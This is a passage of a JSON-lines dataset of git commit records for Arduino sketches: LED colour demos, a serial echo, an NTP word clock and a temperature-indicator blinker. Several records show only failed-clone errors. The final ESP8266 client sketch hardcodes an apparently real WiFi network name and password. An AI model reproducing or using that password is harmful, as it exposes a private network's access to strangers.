https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/dave-ausbone\/TJU-SST.git\/'\n","license":"bsd-2-clause","lang":"Arduino"} {"commit":"1abf821a1ac2d5798f25a4308fd4b2244b78fe52","subject":"tweaks for retroreflective lapmarker","message":"tweaks for retroreflective lapmarker\n","repos":"manashmndl\/bluebrain,manashmndl\/bluebrain,manashmndl\/bluebrain,manashmndl\/bluebrain,manashmndl\/bluebrain,manashmndl\/bluebrain,manashmndl\/bluebrain,manashmndl\/bluebrain","old_file":"src\/rfduino\/CannybotRacerLapCounting\/CannybotRacerLapCounting.ino","new_file":"src\/rfduino\/CannybotRacerLapCounting\/CannybotRacerLapCounting.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/manashmndl\/bluebrain.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"f6aebecaee3dea75e262e796b11b716530f94912","subject":"circular diag buffer","message":"circular diag buffer\n","repos":"upperman\/Wireless-Led-Display,upperman\/Wireless-Led-Display","old_file":"Software\/arduino\/arduino.ino","new_file":"Software\/arduino\/arduino.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/upperman\/Wireless-Led-Display.git\/'\n","license":"apache-2.0","lang":"Arduino"} {"commit":"0c7581faa92a44cd5a4872439485d0485f0572a2","subject":"Add version info to diag.","message":"Add version info to diag.\n","repos":"upperman\/Wireless-Led-Display,upperman\/Wireless-Led-Display","old_file":"Software\/arduino\/arduino.ino","new_file":"Software\/arduino\/arduino.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/upperman\/Wireless-Led-Display.git\/'\n","license":"apache-2.0","lang":"Arduino"} {"commit":"98adb67296847308ff134e08a3b7c1ca290ac87a","subject":"Create RGB2HSV_example.ino","message":"Create RGB2HSV_example.ino","repos":"marmilicious\/FastLED_examples","old_file":"RGB2HSV_example.ino","new_file":"RGB2HSV_example.ino","new_contents":"\/\/***************************************************************\n\/\/ Example of using rgb2hsv_approximate to convert from rgb to hsv.\n\/\/ rgb2hsv works best with fully saturated colors.\n\/\/ More info about rgb2hsv_approximate here:\n\/\/ https:\/\/github.com\/FastLED\/FastLED\/blob\/master\/hsv2rgb.h#L52\n\/\/\n\/\/ Marc Miller, Aug 2017\n\/\/***************************************************************\n\n#include \"FastLED.h\"\n#define LED_TYPE LPD8806\n#define DATA_PIN 11\n#define CLOCK_PIN 13\n#define NUM_LEDS 32\nCRGB leds[NUM_LEDS];\n\nCRGB rgb;\nCHSV hsv;\n\n\/\/------------------------------------------------------------------\nvoid setup(){\n Serial.begin(115200); \/\/ Allows serial monitor output (check baud rate)\n delay(1500); \/\/ Power-up delay\n FastLED.addLeds<LED_TYPE, DATA_PIN, CLOCK_PIN, GRB>(leds, NUM_LEDS).setCorrection(TypicalLEDStrip);\n FastLED.setBrightness(255);\n Serial.println(\"Setup done.\");\n}\n\n\n\/\/------------------------------------------------------------------\nvoid loop(){\n\n EVERY_N_SECONDS(3) {\n rgb = CRGB( random8(),random8(),random8() ); \/\/pick random r,g,b values\n hsv = rgb2hsv_approximate( rgb ); \/\/convert rgb to hsv\n\n for(uint8_t i=0; i<NUM_LEDS\/2; i++) { \/\/first 1\/2 of strip\n leds[i] = CRGB(rgb); \/\/fill with r,g,b values\n }\n\n for(uint8_t i=NUM_LEDS\/2; i<NUM_LEDS; i++) { \/\/second half of strip\n leds[i] = CHSV(hsv); \/\/fill with approximated h,s,v values\n }\n\n FastLED.show();\n \n \/\/print out the rgb values and the converted rgb (from the approximated hsv)\n Serial.print(\"\\tr: \"); Serial.print(leds[0].r);\n Serial.print(\"\\tg: \"); Serial.print(leds[0].g);\n Serial.print(\"\\tb: \"); Serial.println(leds[0].b); \n Serial.print(\"\\th: \"); Serial.print(leds[NUM_LEDS\/2].r);\n Serial.print(\"\\ts: \"); Serial.print(leds[NUM_LEDS\/2].g);\n Serial.print(\"\\tv: \"); Serial.println(leds[NUM_LEDS\/2].b); \n Serial.println(\" \");\n\n }\/\/end_every_n\n\n}\/\/----End main loop----\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'RGB2HSV_example.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"192d34ff8263e9a01730b32feebd43ab6d81ba62","subject":"Added chat echo program.","message":"Added chat echo program.","repos":"ricklon\/SerialAttack","old_file":"sketches\/ChatEcho\/ChatEcho.ino","new_file":"sketches\/ChatEcho\/ChatEcho.ino","new_contents":"void setup()\n{\n Serial.begin(9600);\n Serial0.begin(9600); \n Serial.println(\"Hi MyBoard\");\n}\n\nvoid loop()\n{\n char inChar;\n if(Serial.available() > 0) \n {\n inChar = Serial.read();\n Serial.print(inChar);\n Serial0.print(inChar);\n }\n if(Serial0.available() > 0) \n {\n inChar = Serial0.read();\n Serial.print(inChar);\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'sketches\/ChatEcho\/ChatEcho.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"bcb6d5dbd9cd37d64e927995f761b826df7b9207","subject":"Added some stuff from my TimerTwo implementation. It's not quite up to date with my latest changes to TimerTwo, but it's late, so goodnight.","message":"Added some stuff from my TimerTwo implementation. It's not quite up to date with my latest changes to TimerTwo, but it's late, so goodnight.\n","repos":"tyblu\/comp444-random,tyblu\/comp444-random,tyblu\/comp444-random,tyblu\/comp444-random","old_file":"Motor Speed\/testInterrupts2\/testInterrupts2.ino","new_file":"Motor Speed\/testInterrupts2\/testInterrupts2.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'Motor' did not match any file(s) known to git\nerror: pathspec 'Speed\/testInterrupts2\/testInterrupts2.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"9aa03f994aec343158cfb3a0c0535cdea2cd708a","subject":"improved code","message":"improved code\n","repos":"MakerLabsVan\/ACM,MakerLabsVan\/ACM,MakerLabsVan\/ACM,MakerLabsVan\/ACM","old_file":"unit tests\/pwm_detector_test\/pwm_detector_test.ino","new_file":"unit tests\/pwm_detector_test\/pwm_detector_test.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'unit' did not match any file(s) known to git\nerror: pathspec 'tests\/pwm_detector_test\/pwm_detector_test.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"014aecd90642ff6cf4b37003a261dbab9a987a24","subject":"ported to nodemcu","message":"ported to nodemcu\n","repos":"Syralist\/myletterclock,Syralist\/myletterclock,Syralist\/myletterclock","old_file":"nodemcu\/nodemcu.ino","new_file":"nodemcu\/nodemcu.ino","new_contents":"\/\/ Date and time functions using a DS1307 RTmillis() connected via I2C and Wire lib\n#include <Wire.h>\n#include <Time.h>\n#include <Timezone.h>\n\/* #include <DS1307RTC.h> *\/\n#include <Adafruit_NeoPixel.h>\n\/* #include \"TimerOne.h\" *\/\n\/* #include \"DCF77.h\" *\/\n\n#include <NTPClient.h>\n#include <ESP8266WiFi.h>\n#include <ESP8266HTTPClient.h>\n#include <WiFiUdp.h>\n#include <DNSServer.h>\n#include <ESP8266WebServer.h>\n#include <WiFiManager.h>\n#include <ArduinoOTA.h>\n\/* #define DCF_PIN 2 \/\/ Connection pin to DCF 77 device *\/\n\/* #define DCF_INTERRUPT 0 \/\/ Interrupt number associated with pin *\/\n\/* DCF77 DCF = DCF77(DCF_PIN,DCF_INTERRUPT, true); *\/\n\n\/\/define the data pin\n#define LEDPIN D1\n\/\/define number of pixels\n#define NUMPIXEL 144\n\/\/ Parameter 1 = number of pixels in strip\n\/\/ Parameter 2 = Arduino pin number (most are valid)\n\/\/ Parameter 3 = pixel type flags, add together as needed:\n\/\/ NEO_KHZ800 800 KHz bitstream (most NeoPixel products w\/WS2812 LEDs)\n\/\/ NEO_KHZ400 400 KHz (classic 'v1' (not v2) FLORA pixels, WS2811 drivers)\n\/\/ NEO_GRB Pixels are wired for GRB bitstream (most NeoPixel products)\n\/\/ NEO_RGB Pixels are wired for RGB bitstream (v1 FLORA pixels, not v2)\nAdafruit_NeoPixel strip = Adafruit_NeoPixel(NUMPIXEL, LEDPIN, NEO_GRB | NEO_KHZ800);\n\n#define TIME_MSG_LEN 11 \/\/ time sync to PC is HEADER followed by unix time_t as ten ascii digits\n#define TIME_HEADER 'T' \/\/ Header tag for serial time sync message\n#define TIME_REQUEST 7 \/\/ ASCII bell character requests a time sync message\n\n\/\/Central European Time (Frankfurt, Paris)\nTimeChangeRule CEST = {\"CEST\", Last, Sun, Mar, 2, 120}; \/\/Central European Summer Time\nTimeChangeRule CET = {\"CET \", Last, Sun, Oct, 3, 60}; \/\/Central European Standard Time\nTimezone CE(CEST, CET);\nTimeChangeRule *tcr; \/\/pointer to the time change rule, use to get the TZ abbrev\ntime_t utc;\n\nWiFiUDP ntpUDP;\nNTPClient timeClient(ntpUDP,\"de.pool.ntp.org\");\n\nunsigned int updateInterval = 10000;\nunsigned int lastUpdate = 0;\n\nbool WiFiConnected = false;\nbool NTPupdated = false;\n\nunsigned int i = 0;\nstatic unsigned long msLast = 0;\n\ntypedef uint32_t Color;\nColor cBlack = 0;\n\/* Color cWhite = 0x7F7F7F; *\/\nColor cWhite = 0x555555;\nColor cRed = 0x7F0000;\nColor cGreen = 0x7F00;\nColor cBlue = 0x7F;\n\nvoid setup ()\n{\n \/* Timer1.initialize(1000000); \/\/ Initialize timer to 1s *\/\n \/* Timer1.attachInterrupt(checktime); \/\/ Attach funciton checktime to timer interupt *\/\n Serial.begin(115200);\n Serial.println();\n Serial.println();\n \/* setSyncProvider( requestSync); \/\/set function to call when sync required *\/\n\n\n strip.begin(); \/\/ Initialize NeoPixel object\n strip.show(); \/\/ Initialize all pixels to '}ff'\n\n msLast = millis();\n\n \/* DCF.Start(); *\/\n WiFiManager wifiManager;\n wifiManager.autoConnect(\"Wordclock12AP\");\n WiFiConnected = true;\n\n ArduinoOTA.setHostname(\"Wordclock12OTA\");\n ArduinoOTA.onStart([]() {\n Serial.println(\"OTA Start\");\n });\n ArduinoOTA.onEnd([]() {\n Serial.println(\"\\nOTA End\");\n });\n ArduinoOTA.onProgress([](unsigned int progress, unsigned int total) {\n Serial.printf(\"OTA Progress: %u%%\\r\", (progress \/ (total \/ 100)));\n });\n ArduinoOTA.onError([](ota_error_t error) {\n Serial.printf(\"OTA Error[%u]: \", error);\n if (error == OTA_AUTH_ERROR) Serial.println(\"Auth Failed\");\n else if (error == OTA_BEGIN_ERROR) Serial.println(\"Begin Failed\");\n else if (error == OTA_CONNECT_ERROR) Serial.println(\"Connect Failed\");\n else if (error == OTA_RECEIVE_ERROR) Serial.println(\"Receive Failed\");\n else if (error == OTA_END_ERROR) Serial.println(\"End Failed\");\n });\n ArduinoOTA.begin();\n\n timeClient.begin();\n\n \/* setSyncProvider(RTC.get); *\/\n \/\/ define global colors\n \/* cBlack = strip.Color(0,0,0); *\/\n \/* cWhite = 0x7F7F7F;\/\/strip.Color(127,127,127); *\/\n \/* cRed = 0x7F0000;\/\/strip.Color(127,0,0); *\/\n \/* cGreen = 0x7F00;\/\/strip.Color(0,127,0); *\/\n \/* cBlue = 0x7F;\/\/strip.Color(0,0,127); *\/\n}\n\nvoid loop ()\n{\n ArduinoOTA.handle();\n int poti;\n float brightness;\n poti = analogRead(0);\n brightness = ((float)poti\/1023.0)*255.0;\n cWhite = strip.Color(brightness, brightness, brightness);\n \/* if(Serial.available()) *\/\n \/* { *\/\n \/* processSyncMessage(); *\/\n \/* } *\/\n unsigned long msNow = millis();\n if((millis() - msLast > 999) || (millis() < msLast))\n {\n msLast = millis();\n i++;\n utc = now();\n displaytime(CE.toLocal(utc, &tcr));\n Serial.println(brightness);\n }\n if((millis()-lastUpdate)>updateInterval)\n {\n lastUpdate = millis();\n NTPupdated = timeClient.update();\n if(CE.utcIsDST(timeClient.getEpochTime()))\n {\n timeClient.setTimeOffset(7200);\n }\n else\n {\n timeClient.setTimeOffset(3600);\n }\n }\n \/* if(i == 300) *\/\n \/* { *\/\n \/* time_t DCFtime = DCF.getTime(); *\/\n \/* if((DCFtime != 0) && (DCFtime != now())) *\/\n \/* { *\/\n \/* RTC.set(DCFtime); *\/\n \/* } *\/\n \/* } *\/\n}\n\n\/* void processSyncMessage() { *\/\n\/* \/\/ if time sync available from serial port, update time and return true *\/\n\/* while(Serial.available() >= TIME_MSG_LEN ){ \/\/ time message consists of a header and ten ascii digits *\/\n\/* char c = Serial.read(); *\/\n\/* Serial.print(c); *\/\n\/* if( c == TIME_HEADER ) *\/\n\/* { *\/\n\/* time_t pctime = 0; *\/\n\/* for(int i=0; i < TIME_MSG_LEN -1; i++) *\/\n\/* { *\/\n\/* c = Serial.read(); *\/\n\/* if( c >= '0' && c <= '9') *\/\n\/* { *\/\n\/* pctime = (10 * pctime) + (c - '0') ; \/\/ convert digits to a number *\/\n\/* } *\/\n\/* } *\/\n\/* RTC.set(pctime); \/\/ Sync Arduino clock to the time received on the serial port *\/\n\/* Serial.print(\"Time set to: \"); *\/\n\/* Serial.print(pctime); *\/\n\/* } *\/\n\/* } *\/\n\/* } *\/\n\n\/* time_t requestSync() *\/\n\/* { *\/\n\/* Serial.write(TIME_REQUEST); *\/\n\/* return 0; \/\/ the time will be sent later in response to serial mesg *\/\n\/* } *\/\n\nvoid displaytime(time_t t)\n{\n int Second = timeClient.getSeconds();\n int Minute = timeClient.getMinutes();\n int Hour = timeClient.getHours();\n int Minutemod5 = Minute % 5;\n Color cBackground = cBlack;\n Color cForeground = cWhite;\n for(int j = 0; j < NUMPIXEL; j++)\n {\n strip.setPixelColor(j,cBackground);\n }\n lightEs(cForeground);\n if((Minutemod5 == 1 || Minutemod5 == 2) && (Minute != 0))\n {\n lightWar(cForeground);\n }\n else\/\/ if(Minutemod5 == 0 || Minutemod5 == 3 || Minutemod5 == 4)\n {\n lightIst(cForeground);\n }\n if(Minutemod5 == 3 || Minutemod5 == 4)\n {\n lightGleich(cForeground);\n }\n if(Minute == 0)\n {\n lightGenau(cForeground);\n }\n if((Minutemod5 == 0 || Minutemod5 == 1 || Minutemod5 == 2) && (Minute != 0))\n {\n lightGerade(cForeground);\n }\n if((Minute >= 3 && Minute <= 7) ||\n (Minute >= 23 && Minute <= 27) ||\n (Minute >= 33 && Minute <= 37) ||\n (Minute >= 53 && Minute <= 57))\n {\n lightFuenf1(cForeground);\n }\n if((Minute >= 13 && Minute <= 17) ||\n (Minute >= 43 && Minute <= 47))\n {\n lightViertel(cForeground);\n }\n if((Minute >= 8 && Minute <= 12) ||\n (Minute >= 48 && Minute <= 52))\n {\n lightZehn1(cForeground);\n }\n if((Minute >= 18 && Minute <= 22) ||\n (Minute >= 38 && Minute <= 42))\n {\n lightZwanzig(cForeground);\n }\n if((Minute >= 3 && Minute <= 22) ||\n (Minute >= 33 && Minute <= 37))\n {\n lightNach1(cForeground);\n }\n if((Minute >= 23 && Minute <= 27) ||\n (Minute >= 38 && Minute <= 57))\n {\n lightVor1(cForeground);\n }\n if(Minute >= 23 && Minute <= 37)\n {\n lightHalb(cForeground);\n }\n if(((Hour == 1 || Hour == 13) && Minute <= 22) ||\n ((Hour == 0 || Hour == 12) && Minute >= 23))\n {\n lightEins(cForeground);\n }\n if(((Hour == 2 || Hour == 14) && Minute <= 22) ||\n ((Hour == 1 || Hour == 13) && Minute >= 23))\n {\n lightZwei(cForeground);\n }\n if(((Hour == 3 || Hour == 15) && Minute <= 22) ||\n ((Hour == 2 || Hour == 14) && Minute >= 23))\n {\n lightDrei(cForeground);\n }\n if(((Hour == 4 || Hour == 16) && Minute <= 22) ||\n ((Hour == 3 || Hour == 15) && Minute >= 23))\n {\n lightVier(cForeground);\n }\n if(((Hour == 5 || Hour == 17) && Minute <= 22) ||\n ((Hour == 4 || Hour == 16) && Minute >= 23))\n {\n lightFuenf2(cForeground);\n }\n if(((Hour == 6 || Hour == 18) && Minute <= 22) ||\n ((Hour == 5 || Hour == 17) && Minute >= 23))\n {\n lightSechs(cForeground);\n }\n if(((Hour == 7 || Hour == 19) && Minute <= 22) ||\n ((Hour == 6 || Hour == 18) && Minute >= 23))\n {\n lightSieben(cForeground);\n }\n if(((Hour == 8 || Hour == 20) && Minute <= 22) ||\n ((Hour == 7 || Hour == 19) && Minute >= 23))\n {\n lightAcht(cForeground);\n }\n if(((Hour == 9 || Hour == 21) && Minute <= 22) ||\n ((Hour == 8 || Hour == 20) && Minute >= 23))\n {\n lightNeun(cForeground);\n }\n if(((Hour == 10 || Hour == 22) && Minute <= 22) ||\n ((Hour == 9 || Hour == 21) && Minute >= 23))\n {\n lightZehn2(cForeground);\n }\n if(((Hour == 11 || Hour == 23) && Minute <= 22) ||\n ((Hour == 10 || Hour == 22) && Minute >= 23))\n {\n lightElf(cForeground);\n }\n if(((Hour == 12 || Hour == 0) && Minute <= 22) ||\n ((Hour == 11 || Hour == 23) && Minute >= 23))\n {\n lightZwoelf(cForeground);\n }\n if(Minute >= 58 || Minute <= 2)\n {\n lightUhr(cForeground);\n }\n if((Hour == 5 && Minute >= 23) ||\n (Hour >= 6 && Hour <= 10) ||\n (Hour == 11 && Minute <= 22))\n {\n lightVor2(cForeground);\n lightMittag(cForeground);\n }\n if((Hour == 12 && Minute >= 23) ||\n (Hour >= 13 && Hour <= 18) ||\n (Hour == 19 && Minute <= 22))\n {\n lightNach2(cForeground);\n lightMittag(cForeground);\n }\n if((Hour == 19 && Minute >= 23) ||\n (Hour >= 20 || Hour <= 4) ||\n (Hour == 5 && Minute <= 22))\n {\n lightNachts(cForeground);\n }\n if((Hour == 11 && Minute >= 23) ||\n (Hour == 12 && Minute <= 22))\n {\n lightMittag(cForeground);\n }\n strip.show();\n}\n\nvoid lightEs(uint32_t color)\n{\n strip.setPixelColor(132, color);\n strip.setPixelColor(133, color);\n}\n\nvoid lightWar(uint32_t color)\n{\n strip.setPixelColor(135, color);\n strip.setPixelColor(136, color);\n strip.setPixelColor(137, color);\n}\n\nvoid lightIst(uint32_t color)\n{\n strip.setPixelColor(138, color);\n strip.setPixelColor(139, color);\n strip.setPixelColor(140, color);\n}\n\nvoid lightGleich(uint32_t color)\n{\n strip.setPixelColor(131, color);\n strip.setPixelColor(130, color);\n strip.setPixelColor(129, color);\n strip.setPixelColor(128, color);\n strip.setPixelColor(127, color);\n strip.setPixelColor(126, color);\n}\n\nvoid lightGenau(uint32_t color)\n{\n strip.setPixelColor(124, color);\n strip.setPixelColor(123, color);\n strip.setPixelColor(122, color);\n strip.setPixelColor(121, color);\n strip.setPixelColor(120, color);\n}\n\nvoid lightGerade(uint32_t color)\n{\n strip.setPixelColor(108, color);\n strip.setPixelColor(109, color);\n strip.setPixelColor(110, color);\n strip.setPixelColor(111, color);\n strip.setPixelColor(112, color);\n strip.setPixelColor(113, color);\n}\n\nvoid lightFuenf1(uint32_t color)\n{\n strip.setPixelColor(115, color);\n strip.setPixelColor(116, color);\n strip.setPixelColor(117, color);\n strip.setPixelColor(118, color);\n}\n\nvoid lightViertel(uint32_t color)\n{\n strip.setPixelColor(103, color);\n strip.setPixelColor(102, color);\n strip.setPixelColor(101, color);\n strip.setPixelColor(100, color);\n strip.setPixelColor(99, color);\n strip.setPixelColor(98, color);\n strip.setPixelColor(97, color);\n}\n\nvoid lightZehn1(uint32_t color)\n{\n strip.setPixelColor(84, color);\n strip.setPixelColor(85, color);\n strip.setPixelColor(86, color);\n strip.setPixelColor(87, color);\n}\n\nvoid lightZwanzig(uint32_t color)\n{\n strip.setPixelColor(89, color);\n strip.setPixelColor(90, color);\n strip.setPixelColor(91, color);\n strip.setPixelColor(92, color);\n strip.setPixelColor(93, color);\n strip.setPixelColor(94, color);\n strip.setPixelColor(95, color);\n}\n\nvoid lightNach1(uint32_t color)\n{\n strip.setPixelColor(83, color);\n strip.setPixelColor(82, color);\n strip.setPixelColor(81, color);\n strip.setPixelColor(80, color);\n}\n\nvoid lightVor1(uint32_t color)\n{\n strip.setPixelColor(79, color);\n strip.setPixelColor(78, color);\n strip.setPixelColor(77, color);\n}\n\nvoid lightHalb(uint32_t color)\n{\n strip.setPixelColor(75, color);\n strip.setPixelColor(74, color);\n strip.setPixelColor(73, color);\n strip.setPixelColor(72, color);\n}\n\nvoid lightEins(uint32_t color)\n{\n strip.setPixelColor(62, color);\n strip.setPixelColor(63, color);\n strip.setPixelColor(64, color);\n strip.setPixelColor(65, color);\n}\n\nvoid lightZwei(uint32_t color)\n{\n strip.setPixelColor(40, color);\n strip.setPixelColor(41, color);\n strip.setPixelColor(42, color);\n strip.setPixelColor(43, color);\n}\n\nvoid lightDrei(uint32_t color)\n{\n strip.setPixelColor(60, color);\n strip.setPixelColor(61, color);\n strip.setPixelColor(62, color);\n strip.setPixelColor(63, color);\n}\n\nvoid lightVier(uint32_t color)\n{\n strip.setPixelColor(36, color);\n strip.setPixelColor(37, color);\n strip.setPixelColor(38, color);\n strip.setPixelColor(39, color);\n}\n\nvoid lightFuenf2(uint32_t color)\n{\n strip.setPixelColor(57, color);\n strip.setPixelColor(56, color);\n strip.setPixelColor(55, color);\n strip.setPixelColor(54, color);\n}\n\nvoid lightSechs(uint32_t color)\n{\n strip.setPixelColor(29, color);\n strip.setPixelColor(28, color);\n strip.setPixelColor(27, color);\n strip.setPixelColor(26, color);\n strip.setPixelColor(25, color);\n}\n\nvoid lightSieben(uint32_t color)\n{\n strip.setPixelColor(65, color);\n strip.setPixelColor(66, color);\n strip.setPixelColor(67, color);\n strip.setPixelColor(68, color);\n strip.setPixelColor(69, color);\n strip.setPixelColor(70, color);\n}\n\nvoid lightAcht(uint32_t color)\n{\n strip.setPixelColor(44, color);\n strip.setPixelColor(45, color);\n strip.setPixelColor(46, color);\n strip.setPixelColor(47, color);\n}\n\nvoid lightNeun(uint32_t color)\n{\n strip.setPixelColor(34, color);\n strip.setPixelColor(33, color);\n strip.setPixelColor(32, color);\n strip.setPixelColor(31, color);\n}\n\nvoid lightZehn2(uint32_t color)\n{\n strip.setPixelColor(12, color);\n strip.setPixelColor(13, color);\n strip.setPixelColor(14, color);\n strip.setPixelColor(15, color);\n}\n\nvoid lightElf(uint32_t color)\n{\n strip.setPixelColor(59, color);\n strip.setPixelColor(58, color);\n strip.setPixelColor(57, color);\n}\n\nvoid lightZwoelf(uint32_t color)\n{\n strip.setPixelColor(52, color);\n strip.setPixelColor(51, color);\n strip.setPixelColor(50, color);\n strip.setPixelColor(49, color);\n strip.setPixelColor(48, color);\n}\n\nvoid lightUhr(uint32_t color)\n{\n strip.setPixelColor(17, color);\n strip.setPixelColor(18, color);\n strip.setPixelColor(19, color);\n}\n\nvoid lightVor2(uint32_t color)\n{\n strip.setPixelColor(21, color);\n strip.setPixelColor(22, color);\n strip.setPixelColor(23, color);\n}\n\nvoid lightNach2(uint32_t color)\n{\n strip.setPixelColor(11, color);\n strip.setPixelColor(10, color);\n strip.setPixelColor(9, color);\n strip.setPixelColor(8, color);\n}\n\nvoid lightNachts(uint32_t color)\n{\n strip.setPixelColor(11, color);\n strip.setPixelColor(10, color);\n strip.setPixelColor(9, color);\n strip.setPixelColor(8, color);\n strip.setPixelColor(7, color);\n strip.setPixelColor(6, color);\n}\n\nvoid lightMittag(uint32_t color)\n{\n strip.setPixelColor(5, color);\n strip.setPixelColor(4, color);\n strip.setPixelColor(3, color);\n strip.setPixelColor(2, color);\n strip.setPixelColor(1, color);\n strip.setPixelColor(0, color);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'nodemcu\/nodemcu.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"d72e02e13bce68a2935af8bf367fd0cb90d4cd7e","subject":"New LED blink example sketch; RBD LED blink according to temperature reading.","message":"New LED blink example sketch; RBD LED blink according to temperature reading.\n","repos":"kc9jud\/Cosa,dansut\/Cosa,mikaelpatel\/Cosa,rrobinet\/Cosa,jeditekunum\/Cosa,kc9jud\/Cosa,kc9jud\/Cosa,rrobinet\/Cosa,dansut\/Cosa,mikaelpatel\/Cosa,kc9jud\/Cosa,mikaelpatel\/Cosa,jeditekunum\/Cosa,rrobinet\/Cosa,jeditekunum\/Cosa,jeditekunum\/Cosa,dansut\/Cosa,rrobinet\/Cosa,dansut\/Cosa,mikaelpatel\/Cosa","old_file":"examples\/Blink\/CosaBlinkTemp\/CosaBlinkTemp.ino","new_file":"examples\/Blink\/CosaBlinkTemp\/CosaBlinkTemp.ino","new_contents":"\/**\n * @file CosaBlinkTemp.ino\n * @version 1.0\n *\n * @section License\n * Copyright (C) 2014, Mikael Patel\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License as published by the Free Software Foundation; either\n * version 2.1 of the License, or (at your option) any later version.\n * \n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n * \n * @section Description\n * Cosa LED blink demonstation. Blink RGB LED according to temperature\n * from 1-wire digital thermometer (DS18B20); RED if above 30 C, \n * BLUE if below 25 C otherwise GREEN. Demonstrates powerdown to\n * less than 10 uA while idle (and no LED on).\n * \n * DS18B20\/sensor\n * (VCC)--[4K7]--+ +------------+\n * (GND)---------)-----1-|GND |\\\n * (D4)----------+-----2-|DQ | |\n * (VCC\/GND)-----------3-|VDD |\/\n * +------------+\n *\n * (D0)---------RED->|---+\n * |\n * (D1)-------GREEN->|---+----[330]---(GND)\n * |\n * (D2)--------BLUE->|---+\n *\n * Connect Arduino to DS18B20 in D4 and GND. May use parasite \n * powering (connect DS18B20 VCC to GND) otherwise to VCC.\n * \n * This file is part of the Arduino Che Cosa project.\n *\/\n\n#include \"Cosa\/Watchdog.hh\"\n#include \"Cosa\/OutputPin.hh\"\n#include \"Cosa\/OWI\/Driver\/DS18B20.hh\"\n\n\/\/ RGB LED pins\nOutputPin red(Board::D0);\nOutputPin green(Board::D1);\nOutputPin blue(Board::D2);\n\n\/\/ 1-wire bus and digital thermometer\nOutputPin pw(Board::D3);\nOWI owi(Board::D4);\nDS18B20 sensor(&owi);\n\n\/\/ Powerdown on delay\nvoid powerdown(uint16_t ms)\n{\n uint8_t mode = Power::set(SLEEP_MODE_PWR_DOWN);\n Power::all_disable();\n Watchdog::delay(ms);\n Power::all_enable();\n Power::set(mode);\n}\n\nvoid setup()\n{\n \/\/ Start watchdog\n Watchdog::begin();\n\n \/\/ Connect to temperature sensor, and set resolution and triggers\n pw.on();\n sensor.connect(0);\n sensor.set_resolution(10);\n sensor.set_trigger(25,30);\n sensor.write_scratchpad();\n pw.off();\n}\n\nvoid loop()\n{\n \/\/ Temperature conversion and read result\n pw.on();\n sensor.convert_request();\n sensor.read_scratchpad();\n pw.off();\n int8_t low, high;\n int16_t temp = (sensor.get_temperature() >> 4);\n sensor.get_trigger(low, high);\n\n \/\/ Set LED according to temperature\n if (temp < low) {\n blue.on();\n powerdown(32);\n blue.off();\n powerdown(1024);\n }\n else if (temp > high) {\n red.on();\n powerdown(32);\n red.off();\n powerdown(1000);\n }\n else {\n green.on();\n powerdown(32);\n green.off();\n powerdown(2000);\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/Blink\/CosaBlinkTemp\/CosaBlinkTemp.ino' did not match any file(s) known to git\n","license":"lgpl-2.1","lang":"Arduino"} {"commit":"18dc1f8e65a829c488b35581cc984456b8ba3c9e","subject":"bug fixed, better sending timing.","message":"bug fixed, better sending timing.","repos":"mathertel\/Dose","old_file":"Controller\/Controller.ino","new_file":"Controller\/Controller.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/mathertel\/Dose.git\/'\n","license":"bsd-3-clause","lang":"Arduino"} {"commit":"e65908d28640c6eee964f3b3a6762cb700712d9e","subject":"Socket serial-server","message":"Socket serial-server\n","repos":"CarlosTrinidad\/VentanaIOT,CarlosTrinidad\/VentanaIOT,CarlosTrinidad\/VentanaIOT,CarlosTrinidad\/VentanaIOT,CarlosTrinidad\/VentanaIOT","old_file":"ClienteServidor\/espinoClient\/espinoClient.ino","new_file":"ClienteServidor\/espinoClient\/espinoClient.ino","new_contents":"#include <ESP8266WiFi.h>\n#include <ESP8266Client.h>\n\n\/\/------------------------------------------\n\/\/const char* ssid = \"wl-fmat-ccei-b\";\n\/\/const char* password = \"\";\nconst char* ssid = \"Cablemas0F0D\";\nconst char* password = \"B7E20B0F0D\";\n\n\/\/ create a TCP client\nESP8266Client client(\"192.168.0.11\", 9999);\n\/\/ESP8266Client client(\"172.16.69.82\", 2000);\n\n\/\/variable para almacenar lo que enviaremos al servidor\n String cadena = \" \"; \n\nunsigned long now = 0;\n\n\/\/------------------------------------------\n\/\/ CB forward 